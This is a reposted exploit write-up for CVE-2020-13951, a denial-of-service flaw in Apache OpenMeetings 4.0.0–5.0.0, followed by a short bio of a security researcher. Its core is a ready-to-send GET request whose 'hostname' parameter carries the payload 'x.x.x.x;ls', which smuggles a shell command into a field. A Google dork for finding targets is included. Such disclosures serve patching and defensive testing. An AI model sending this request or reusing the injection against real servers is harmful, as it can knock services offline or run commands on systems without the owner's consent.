Sunday, February 25, 2024

Apache OpenMeetings 5.0.0 – ‘hostname’ Denial of Service

CVE: 2020-13951

Platform: Multiple

Date: 2020-11-24

# Exploit Title: Apache OpenMeetings 5.0.0 - 'hostname' Denial of Service
# Google Dork: "Apache OpenMeetings DOS"
# Date: 2020-08-28
# Exploit Author: SunCSR (ThienNV - Sun* Cyber Security Research)
# Vendor Homepage: https://openmeetings.apache.org/
# Software Link: https://openmeetings.apache.org/
# Version: 4.0.0 - 5.0.0
# Tested on: Windows
# CVE: CVE-2020-13951

- POC:
# Vulnerability variable: hostname
# Payload: x.x.x.x;ls
# Request exploit:

GET /openmeetings/wicket/bookmarkable/org.apache.openmeetings.web.pages.HashPage?3-1.0-panel~main&app=network&navigatorAppName=Netscape&navigatorAppVersion=5.0 (Windows)&navigatorAppCodeName=Mozilla&navigatorCookieEnabled=true&navigatorJavaEnabled=false&navigatorLanguage=en-US&navigatorPlatform=Win32&navigatorUserAgent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0&screenWidth=1920&screenHeight=1080&screenColorDepth=24&jsTimeZone=Asia/Ho_Chi_Minh&utcOffset=7&utcDSTOffset=7&browserWidth=1920&browserHeight=966&hostname=x.x.x.x;ls&codebase=https://x.x.x.x:5443/openmeetings/hash&settings=[object Object]&_=1597801817026

- Reference: 
https://lists.apache.org/thread.html/re2aed827cd24ae73cbc320e5808020c8d12c7b687ee861b27d728bbc%40%3Cuser.openmeetings.apache.org%3E
https://nvd.nist.gov/vuln/detail/CVE-2020-13951
            
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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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